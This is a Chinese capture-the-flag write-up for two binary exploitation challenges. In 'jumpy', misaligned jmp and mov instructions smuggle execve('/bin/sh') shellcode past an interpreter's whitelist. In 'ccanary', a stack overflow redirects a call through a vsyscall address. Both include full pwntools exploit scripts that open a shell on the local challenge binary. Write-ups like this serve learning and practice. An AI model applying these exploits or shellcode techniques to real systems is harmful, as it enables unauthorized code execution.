jumpy

给出程序是个解释器,设计愿意只能写入:

  • mov eax, xxx
  • jmp xxx
  • ret

image-20210907225319577

对于 jmp 会用一个列表保存跳转的地址,运行 shellcode 之前会检查这些地址的汇编是不是限制的那三个。

漏洞地方在 mov eax, xxx 写入数值的时候没有检查数字,可以写入长度是 4 字节。搭配上 jmp 利用错位可以执行任意汇编。下面是错位例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#	输入代码
jmp 1;
mov eax,0xb8;
mov eax,0x90f63148

# 错位
mov eax,xxxx
+-----------+
jmp 1 mov eax,0xb8| |
+---+ +-----------+ |
| | | | |
eb 01 b8 b8 00 00 00 b8 xx xx xx xx
| ^
| |
+---------+
(jump)

# 形成代码
mov eax,0xb8000000
xxxx

第一个 mov 值需要是 0xb8 ,让 jmp 指向的地址汇编是 mov eax,xxxx 才能绕过检查,同时需要将 shellcode 分割成一块块执行。主要需要处理的是 /bin/sh 写入,字符串长度 7 字节,利用 shl 移位将字符串写入寄存器之后压栈,然后将地址提取到 rdi 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'

p = process('./jumpy')

def message(data):
p.sendlineafter("> ", "jmp 1")
p.sendlineafter("> ", "moveax 184")
p.sendlineafter("> ", "moveax " + str(u32(data)))
# gdb.attach(s)
# raw_input()

# push /bin/sh in stack
message(asm('''mov bx, 0x68'''))
message(asm('''shl rbx, 16'''))
message(asm('''mov bx, 0x732f'''))
message(asm('''shl rbx, 16'''))
message(asm('''mov bx, 0x6e69'''))
message(asm('''shl rbx, 16'''))
message(asm('''mov bx, 0x622f'''))
message(asm('''push rbx; mov rdi, rsp'''))

# rsi = 0; rdx = 0
message(asm('''xor rsi, rsi; nop'''))
message(asm('''push rsi; pop rdx; nop; nop'''))

# rax = 0x3b
# syscall('/bin/sh',0,0)
message(asm('''xor rbx, rbx; nop'''))
message(asm('''add rbx, 0x3b'''))
message(asm('''push rbx; pop rax; syscall'''))

p.sendlineafter("> ", "a")

p.interactive()

ccanary

保护全开:

image-20210906214505268

存在一个栈溢出,可以覆盖 v6 控制调用的函数:

image-20210906214703806

image-20210906214742237

一开始准备将 v6 覆盖到 system(‘cat flag’) ,但是程序会在写入完成后加上一些东西,无法通过覆盖低字节绕过 pie ,也没有办法泄露出 pie 基地址。

image-20210906215318701

只能想办法将 v7 覆盖成非零值通过 if 判断。

将 v6 覆盖成 vsyscall 的系统调用,该区域的四个系统调用不受 pie 和 alsr 的影响而随机。使用系统调用 sys_time(0xc9) ,可以视为 ret

v7 可以不需要额外写入非零值,因为程序输入会在 payload 后面加上额外东西

image-20210906220619326

image-20210906221219608

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


p = process("./ccanary")

#gdb.attach(p,"b *$rebase(0x1336)")
#raw_input()

payload = b'a'*0x1f
payload += p64(0xffffffffff600400)
# p.sendlineafter("> ",payload)
p.sendline(payload)



p.interactive()